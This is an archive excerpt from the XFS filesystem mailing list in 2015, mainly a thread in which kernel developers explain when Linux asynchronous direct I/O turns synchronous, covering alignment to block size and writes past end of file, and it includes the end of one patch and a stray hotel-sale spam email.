+490,15 @@ typedef struct xfs_swapext #define XFS_FSOP_GOING_FLAGS_NOLOGFLUSH 0x2 /* don't flush log nor data */ /* + * ioctl limits + */ +#ifdef XATTR_LIST_MAX +# define XFS_XATTR_LIST_MAX XATTR_LIST_MAX +#else +# define XFS_XATTR_LIST_MAX 65536 +#endif + +/* * ioctl commands that are used by Linux filesystems */ #define XFS_IOC_GETXFLAGS FS_IOC_GETFLAGS -- 2.4.3 From gleb@cloudius-systems.com Wed Oct 7 09:18:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CBAAC7F63 for ; Wed, 7 Oct 2015 09:18:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9F69E304048 for ; Wed, 7 Oct 2015 07:18:39 -0700 (PDT) X-ASG-Debug-ID: 1444227515-04bdf020db1b710001-NocioJ Received: from mail-wi0-f178.google.com (mail-wi0-f178.google.com [209.85.212.178]) by cuda.sgi.com with ESMTP id 7r3wVwaMgKQ1aHTC (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 07 Oct 2015 07:18:36 -0700 (PDT) X-Barracuda-Envelope-From: gleb@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.178 Received: by wiclk2 with SMTP id lk2so30924375wic.1 for ; Wed, 07 Oct 2015 07:18:35 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version :content-type:content-disposition; bh=nygh3YN/b18tEU1yX7amixbATYWfDDf88UfZEi4o5kA=; b=N4uZELGqeFrLfnKGw0mnPn8HscsiAj5BqWWi0ZS1ConEVA4hO5Esx+7zoX0ByeDOTA d7AMB9vCZL1fS3L+i9GSHzCG/YwwbPq0sPK+01jJxn86pNQXLFC6wqZmxIdjAdH3KVzP omcMgEKfqXcr2bbiDHR04LKayUaZMTxzNF1xgzF53ymTmiaOBiBMQOiY38UgXwKVqhaq 7s9+uo6mEX6nkfYb01IMVz23P+fOISZQo3hVShLjx1tMqXnpXSKESVUFNUC6bsggKjJi gWJzMywSubwEbLcPGcpjpdkX6uZ3AmdJTwt9hf22RogQhomdokVZ6g4wv3AyJwJ1KurP DKwA== X-Gm-Message-State: ALoCoQk15RTromFaH0bgS8pLVyN7HuBaY4tV/HCa43oFWaVMGWYuCU6DTkgSHDm+rlmkFPMxzIIu X-Received: by 10.194.113.131 with SMTP id iy3mr1473887wjb.133.1444227515496; Wed, 07 Oct 2015 07:18:35 -0700 (PDT) Received: from trex.cloudius-systems.com ([37.142.229.250]) by smtp.gmail.com with ESMTPSA id uq5sm39542262wjc.3.2015.10.07.07.18.34 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 07 Oct 2015 07:18:34 -0700 (PDT) Received: by trex.cloudius-systems.com (Postfix, from userid 1042) id 5037E83F52; Wed, 7 Oct 2015 17:18:33 +0300 (IDT) Date: Wed, 7 Oct 2015 17:18:33 +0300 From: Gleb Natapov To: xfs@oss.sgi.com Cc: glauber@scylladb.com, avi@scylladb.com Subject: Question about non asynchronous aio calls. Message-ID: <20151007141833.GB11716@scylladb.com> X-ASG-Orig-Subj: Question about non asynchronous aio calls. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Barracuda-Connect: mail-wi0-f178.google.com[209.85.212.178] X-Barracuda-Start-Time: 1444227516 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23270 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello XFS developers, We are working on scylladb[1] database which is written using seastar[2] - highly asynchronous C++ framework. The code uses aio heavily: no synchronous operation is allowed at all by the framework otherwise performance drops drastically. We noticed that the only mainstream FS in Linux that takes aio seriously is XFS. So let me start by thanking you guys for the great work! But unfortunately we also noticed that sometimes io_submit() is executed synchronously even on XFS. Looking at the code I see two cases when this is happening: unaligned IO and write past EOF. It looks like we hit both. For the first one we make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO to figure out what alignment should be, but it does not help. Looking at the code though xfs_file_dio_aio_write() checks alignment against m_blockmask which is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to filesystem block size not values that DIOINFO returns. Is it intentional? How should our code know what it should align buffers to? Second one is harder. We do need to write past the end of a file, actually most of our writes are like that, so it would have been great for XFS to handle this case asynchronously. Currently we are working to work around this by issuing truncate() (or fallocate()) on another thread and doing aio on a main thread only after truncate() is complete. It seams to be working, but is it guarantied that a thread issuing aio will never sleep in this case (may be new file size value needs to hit the disk and it is not guarantied that it will happen after truncate() returns, but before aio call)? [2] http://www.scylladb.com/ [1] http://www.seastar-project.org/ Thanks, -- Gleb. From 1ae54aaa.1dw1.1gPf.ga.1flFOQc17x+xfs=oss.sgi.com@bnc3.mailjet.com Wed Oct 7 09:23:06 2015 Return-Path: <1ae54aaa.1dw1.1gPf.ga.1flFOQc17x+xfs=oss.sgi.com@bnc3.mailjet.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.7 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,LOTS_OF_MONEY,T_DKIM_INVALID,US_DOLLARS_3 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 460707F63 for ; Wed, 7 Oct 2015 09:23:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DA4ABAC00B for ; Wed, 7 Oct 2015 07:23:02 -0700 (PDT) X-ASG-Debug-ID: 1444227777-04bdf020db1b940001-NocioJ Received: from o100.p9.mailjet.com (o100.p9.mailjet.com [87.253.234.100]) by cuda.sgi.com with ESMTP id Euw4O8f1qpS1B3Vl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 07:22:58 -0700 (PDT) X-Barracuda-Envelope-From: 1ae54aaa.1dw1.1gPf.ga.1flFOQc17x+xfs=oss.sgi.com@bnc3.mailjet.com X-Barracuda-Apparent-Source-IP: 87.253.234.100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/simple; q=dns/txt; d=bnc3.mailjet.com; i=forsale=3Dbayviewhotel-luderitz.com@bnc3.mailjet.com; s=mailjet; h=message-id:mime-version:from:reply-to:to:subject:date:list-id:list-unsubscribe: precedence:x-csa-complaints:content-type; bh=+U2vXp35T/2nIdvaBNiHTsxqCxc=; b= D4Rh0qlS9iwYCw4Cbvo6inQHFBh7tMDtbktaNCDAuruGfMwQEO5DsuDDvo+K s0GBVxo8+x/uMRV6JLboxmizHg7ucIZtNBSF6BQV6MfQnDq+8k3CwPrvQJtJ vWeqC+G6E2GK6I/qATARcZeBOXzjGzbLoknBlHj2Oxew8UQOkDc= Message-Id: <1ae54aaa.1dw1.1gPf.ga.1flFOQc17x@mailjet.com> MIME-Version: 1.0 From: "forsale@bayviewhotel-luderitz.com" Reply-To: info@bayviewhotel-luderitz.com To: xfs@oss.sgi.com Subject: Bay View Hotel in Luderitz is FOR SALE Date: Wed, 7 Oct 2015 13:07:37 +0000 X-ASG-Orig-Subj: Bay View Hotel in Luderitz is FOR SALE List-Id: List-Unsubscribe: Precedence: bulk X-CSA-Complaints: whitelist-complaints@eco.de Content-Type: multipart/alternative; boundary="=-DUZsPkelu55/6nvrugSH" X-Barracuda-Connect: o100.p9.mailjet.com[87.253.234.100] X-Barracuda-Start-Time: 1444227778 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: bayviewhotel-luderitz.com X-Barracuda-Spam-Score: 0.44 X-Barracuda-Spam-Status: No, SCORE=0.44 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_04, HTML_MESSAGE, US_DOLLARS_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 0.00 BSF_SC5_SA210e Custom Rule SA210e --=-DUZsPkelu55/6nvrugSH Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable View online version =20 Yes, that is correct! The iconic Bay View Hotel in Luderitz is for sale. This is a once in a lifetime opportunity for individuals or business entities, who want to own a business in this well-kept secret of a historic town. The hotel is as much a landmark and part of the history of Luderitz than the old town itself. Situated right in the middle of town, within walking distance from anything you may need and a stone's throw from the lagoon, this hotel has successfully catered to tourists, business travellers and overlanders for decades. Asking Price: N$ 4,950,000 * Selling well under value! * WSituated in the centre of Luderitz * Walking distance to shops, restaurants and the waterfront. * 24 Spacious rooms. * Average of 41% occupancy throughout the year. * Comfortably owner operated. * Secure courtyard layout with sparkling pool. * Restaurant with fully equipped kitchen and Cozy pub. * Regular client base consisting of business travellers and tour groups. * Strong growth opportunity. * Massive economy boosting project planned for Luderitz. Inquiries are welcomed from serious interested buyers.=20 For more complete valuation information, kindly visit our website, where you will find most of the answers to the questions you may have. Information =20 =C2=A0 This email has been sent to xfs@oss.sgi.com, click here to unsubscribe .=20 = --=-DUZsPkelu55/6nvrugSH Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable Bay View Hotel in Luderitz is FOR SALE= a { border: none; } img { border: none; } p { margin: 0; line-height: 1.3em; } #footer-msg a { color: #F3A836; } h1,h2,h3,h4,h5,h6 {font-size:100%;margin:0;} =20
=20
3D""
3D""=

Y= es, that is correct!

The iconic Bay Vi= ew Hotel in Luderitz is for sale<= /span>. This is a once in a lifetime opportunity for individuals or busines= s entities, who want to own a business in this well-kept secret of a histor= ic town.

The hotel is as much a landmark and part of the history of Luderitz t= han the old town itself. Situated right in the middle of town, within walki= ng distance from anything you may need and a stone's throw from the lagoon,= this hotel has successfully catered to tourists, business travellers and o= verlanders for decades.

Asking Price: N$ 4,= 950,000

<= tr>
  • Selling well under value!
  • = WSituated in the centre of Luderitz
  • Walking distance to shops, = restaurants and the waterfront.
  • 24 Spacious rooms.
  • Aver= age of 41% occupancy throughout the year.
  • Comfortably owner operate= d.
  • Secure courtyard layout with sparkling pool.
3D""
=
3D""

=
3D""
Inquiries are welcomed from seriou= s interested buyers.

For more complete valuation information, kindl= y visit our website, where you will find most of the answers to the questio= ns you may have.
<= tr>
<= /tr>
=C2=A0
= =20
This email has been sent to xfs@oss.sgi.com, click here to unsubscribe.
=20

3D"" = --=-DUZsPkelu55/6nvrugSH-- From sandeen@sandeen.net Wed Oct 7 09:24:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EAAC7F63 for ; Wed, 7 Oct 2015 09:24:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10DE8AC00B for ; Wed, 7 Oct 2015 07:24:17 -0700 (PDT) X-ASG-Debug-ID: 1444227856-04cbb03f1319880001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id I8hfrfteL6GyQf2r for ; Wed, 07 Oct 2015 07:24:16 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E967065672F8 for ; Wed, 7 Oct 2015 09:24:15 -0500 (CDT) Subject: Re: Question about non asynchronous aio calls. To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> From: Eric Sandeen Message-ID: <56152B0F.2040809@sandeen.net> Date: Wed, 7 Oct 2015 09:24:15 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151007141833.GB11716@scylladb.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444227856 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23270 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/7/15 9:18 AM, Gleb Natapov wrote: > Hello XFS developers, > > We are working on scylladb[1] database which is written using seastar[2] > - highly asynchronous C++ framework. The code uses aio heavily: no > synchronous operation is allowed at all by the framework otherwise > performance drops drastically. We noticed that the only mainstream FS > in Linux that takes aio seriously is XFS. So let me start by thanking > you guys for the great work! But unfortunately we also noticed that > sometimes io_submit() is executed synchronously even on XFS. > > Looking at the code I see two cases when this is happening: unaligned > IO and write past EOF. It looks like we hit both. For the first one we > make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO > to figure out what alignment should be, but it does not help. Looking at the > code though xfs_file_dio_aio_write() checks alignment against m_blockmask which > is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to > filesystem block size not values that DIOINFO returns. Is it intentional? How > should our code know what it should align buffers to? /* "unaligned" here means not aligned to a filesystem block */ if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) unaligned_io = 1; It should be aligned to the filesystem block size. > Second one is harder. We do need to write past the end of a file, actually > most of our writes are like that, so it would have been great for XFS to > handle this case asynchronously. You didn't say what kernel you're on, but these: 9862f62 xfs: allow appending aio writes 7b7a866 direct-io: Implement generic deferred AIO completions hit kernel v3.15. However, we had a bug report about this, and Brian has sent a fix which has not yet been merged, see: [PATCH 1/2] xfs: always drain dio before extending aio write submission on this list last week. With those 3 patches, things should just work for you I think. -Eric > Currently we are working to work around > this by issuing truncate() (or fallocate()) on another thread and doing > aio on a main thread only after truncate() is complete. It seams to be > working, but is it guarantied that a thread issuing aio will never sleep > in this case (may be new file size value needs to hit the disk and it is > not guarantied that it will happen after truncate() returns, but before > aio call)? > > [2] http://www.scylladb.com/ > [1] http://www.seastar-project.org/ > > Thanks, > > -- > Gleb. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Wed Oct 7 10:08:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DE8DB7F51 for ; Wed, 7 Oct 2015 10:08:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CB8C9304039 for ; Wed, 7 Oct 2015 08:08:37 -0700 (PDT) X-ASG-Debug-ID: 1444230515-04cb6c57851a5d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lRvAqxPkga6B4xLe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 08:08:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C841AAD026; Wed, 7 Oct 2015 15:08:35 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97F8Z9S003074; Wed, 7 Oct 2015 11:08:35 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2FE8C123DCD; Wed, 7 Oct 2015 11:08:34 -0400 (EDT) Date: Wed, 7 Oct 2015 11:08:34 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151007150833.GB30191@bfoster.bfoster> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56152B0F.2040809@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444230516 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Oct 07, 2015 at 09:24:15AM -0500, Eric Sandeen wrote: > > > On 10/7/15 9:18 AM, Gleb Natapov wrote: > > Hello XFS developers, > > > > We are working on scylladb[1] database which is written using seastar[2] > > - highly asynchronous C++ framework. The code uses aio heavily: no > > synchronous operation is allowed at all by the framework otherwise > > performance drops drastically. We noticed that the only mainstream FS > > in Linux that takes aio seriously is XFS. So let me start by thanking > > you guys for the great work! But unfortunately we also noticed that > > sometimes io_submit() is executed synchronously even on XFS. > > > > Looking at the code I see two cases when this is happening: unaligned > > IO and write past EOF. It looks like we hit both. For the first one we > > make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO > > to figure out what alignment should be, but it does not help. Looking at the > > code though xfs_file_dio_aio_write() checks alignment against m_blockmask which > > is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to > > filesystem block size not values that DIOINFO returns. Is it intentional? How > > should our code know what it should align buffers to? > > /* "unaligned" here means not aligned to a filesystem block */ > if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) > unaligned_io = 1; > > It should be aligned to the filesystem block size. > I'm not sure exactly what kinds of races are opened if the above locking were absent, but I'd guess it's related to the buffer/block state management, block zeroing and whatnot that is buried in the depths of the generic dio code. I suspect the dioinfo information describes the capabilities of the filesystem (e.g., what kinds of DIO are allowable) as opposed to any kind of optimal I/O related values. Something like statfs() can be used to determine the filesystem block size. I suppose you could also intentionally format the filesystem with a smaller block size if concurrent, smaller dio's are a requirement. > > Second one is harder. We do need to write past the end of a file, actually > > most of our writes are like that, so it would have been great for XFS to > > handle this case asynchronously. > > You didn't say what kernel you're on, but these: > > 9862f62 xfs: allow appending aio writes > 7b7a866 direct-io: Implement generic deferred AIO completions > > hit kernel v3.15. > > However, we had a bug report about this, and Brian has sent a fix > which has not yet been merged, see: > > [PATCH 1/2] xfs: always drain dio before extending aio write submission > > on this list last week. > > With those 3 patches, things should just work for you I think. > These fix some problems in that code, but the "beyond EOF" submission is still synchronous in nature by virtue of cycling the IOLOCK and draining pending dio. This is required to check for EOF zeroing, and we can't do that safely without a stable i_size. Note that according to the commit Eric referenced above, ordering your I/O to always append (rather than start at some point beyond the current EOF) might be another option to avoid the synchronization here. Whether that is an option is specific to your application, of course. > -Eric > > > Currently we are working to work around > > this by issuing truncate() (or fallocate()) on another thread and doing > > aio on a main thread only after truncate() is complete. It seams to be > > working, but is it guarantied that a thread issuing aio will never sleep > > in this case (may be new file size value needs to hit the disk and it is > > not guarantied that it will happen after truncate() returns, but before > > aio call)? > > There are no such pitfalls as far as I'm aware. The entire AIO submission synchronization sequence triggers off an in-memory i_size check in xfs_file_aio_write_checks(). The in-memory i_size is updated in the truncate path (xfs_setattr_size()) via truncate_setsize(), so at that point the new size should be visible to subsequent AIO writers. Note that the truncate itself does appear to wait here on pending DIO. Also note that the existence of pagecache pages is another avenue to synchronous DIO submission due to the need to possibly flush and invalidate the cache, so you probably want to avoid any kind of mixed buffered/direct I/O to a single file as well. Brian > > [2] http://www.scylladb.com/ > > [1] http://www.seastar-project.org/ > > > > Thanks, > > > > -- > > Gleb. > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Wed Oct 7 10:13:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E1D97F51 for ; Wed, 7 Oct 2015 10:13:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4009F8F8050 for ; Wed, 7 Oct 2015 08:13:12 -0700 (PDT) X-ASG-Debug-ID: 1444230789-04bdf020dc1cf30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id koRW7Qm4Ww9VtObn for ; Wed, 07 Oct 2015 08:13:10 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B776460D2EA3; Wed, 7 Oct 2015 10:13:09 -0500 (CDT) Subject: Re: Question about non asynchronous aio calls. To: Brian Foster X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> Cc: xfs@oss.sgi.com From: Eric Sandeen Message-ID: <56153685.3040401@sandeen.net> Date: Wed, 7 Oct 2015 10:13:09 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151007150833.GB30191@bfoster.bfoster> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444230790 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23272 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/7/15 10:08 AM, Brian Foster wrote: > On Wed, Oct 07, 2015 at 09:24:15AM -0500, Eric Sandeen wrote: >> >> >> On 10/7/15 9:18 AM, Gleb Natapov wrote: >>> Hello XFS developers, >>> >>> We are working on scylladb[1] database which is written using seastar[2] >>> - highly asynchronous C++ framework. The code uses aio heavily: no >>> synchronous operation is allowed at all by the framework otherwise >>> performance drops drastically. We noticed that the only mainstream FS >>> in Linux that takes aio seriously is XFS. So let me start by thanking >>> you guys for the great work! But unfortunately we also noticed that >>> sometimes io_submit() is executed synchronously even on XFS. >>> >>> Looking at the code I see two cases when this is happening: unaligned >>> IO and write past EOF. It looks like we hit both. For the first one we >>> make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO >>> to figure out what alignment should be, but it does not help. Looking at the >>> code though xfs_file_dio_aio_write() checks alignment against m_blockmask which >>> is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to >>> filesystem block size not values that DIOINFO returns. Is it intentional? How >>> should our code know what it should align buffers to? >> >> /* "unaligned" here means not aligned to a filesystem block */ >> if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) >> unaligned_io = 1; >> >> It should be aligned to the filesystem block size. >> > > I'm not sure exactly what kinds of races are opened if the above locking > were absent, but I'd guess it's related to the buffer/block state > management, block zeroing and whatnot that is buried in the depths of > the generic dio code. Yep: commit eda77982729b7170bdc9e8855f0682edf322d277 Author: Dave Chinner Date: Tue Jan 11 10:22:40 2011 +1100 xfs: serialise unaligned direct IOs When two concurrent unaligned, non-overlapping direct IOs are issued to the same block, the direct Io layer will race to zero the block. The result is that one of the concurrent IOs will overwrite data written by the other IO with zeros. This is demonstrated by the xfsqa test 240. To avoid this problem, serialise all unaligned direct IOs to an inode with a big hammer. We need a big hammer approach as we need to serialise AIO as well, so we can't just block writes on locks. Hence, the big hammer is calling xfs_ioend_wait() while holding out other unaligned direct IOs from starting. We don't bother trying to serialised aligned vs unaligned IOs as they are overlapping IO and the result of concurrent overlapping IOs is undefined - the result of either IO is a valid result so we let them race. Hence we only penalise unaligned IO, which already has a major overhead compared to aligned IO so this isn't a major problem. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig I fixed something similar in ext4 at the time, FWIW. > I suspect the dioinfo information describes the capabilities of the > filesystem (e.g., what kinds of DIO are allowable) as opposed to any > kind of optimal I/O related values. Something like statfs() can be used > to determine the filesystem block size. I suppose you could also > intentionally format the filesystem with a smaller block size if > concurrent, smaller dio's are a requirement. > >>> Second one is harder. We do need to write past the end of a file, actually >>> most of our writes are like that, so it would have been great for XFS to >>> handle this case asynchronously. >> >> You didn't say what kernel you're on, but these: >> >> 9862f62 xfs: allow appending aio writes >> 7b7a866 direct-io: Implement generic deferred AIO completions >> >> hit kernel v3.15. >> >> However, we had a bug report about this, and Brian has sent a fix >> which has not yet been merged, see: >> >> [PATCH 1/2] xfs: always drain dio before extending aio write submission >> >> on this list last week. >> >> With those 3 patches, things should just work for you I think. >> > > These fix some problems in that code, but the "beyond EOF" submission is > still synchronous in nature by virtue of cycling the IOLOCK and draining > pending dio. This is required to check for EOF zeroing, and we can't do > that safely without a stable i_size. > > Note that according to the commit Eric referenced above, ordering your > I/O to always append (rather than start at some point beyond the current > EOF) might be another option to avoid the synchronization here. Whether > that is an option is specific to your application, of course. Thanks for keeping me honest Brian. :) -Eric From bfoster@redhat.com Wed Oct 7 10:59:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AAC9F7F37 for ; Wed, 7 Oct 2015 10:59:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B349AC009 for ; Wed, 7 Oct 2015 08:59:01 -0700 (PDT) X-ASG-Debug-ID: 1444233539-04bdf020da1e050001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP 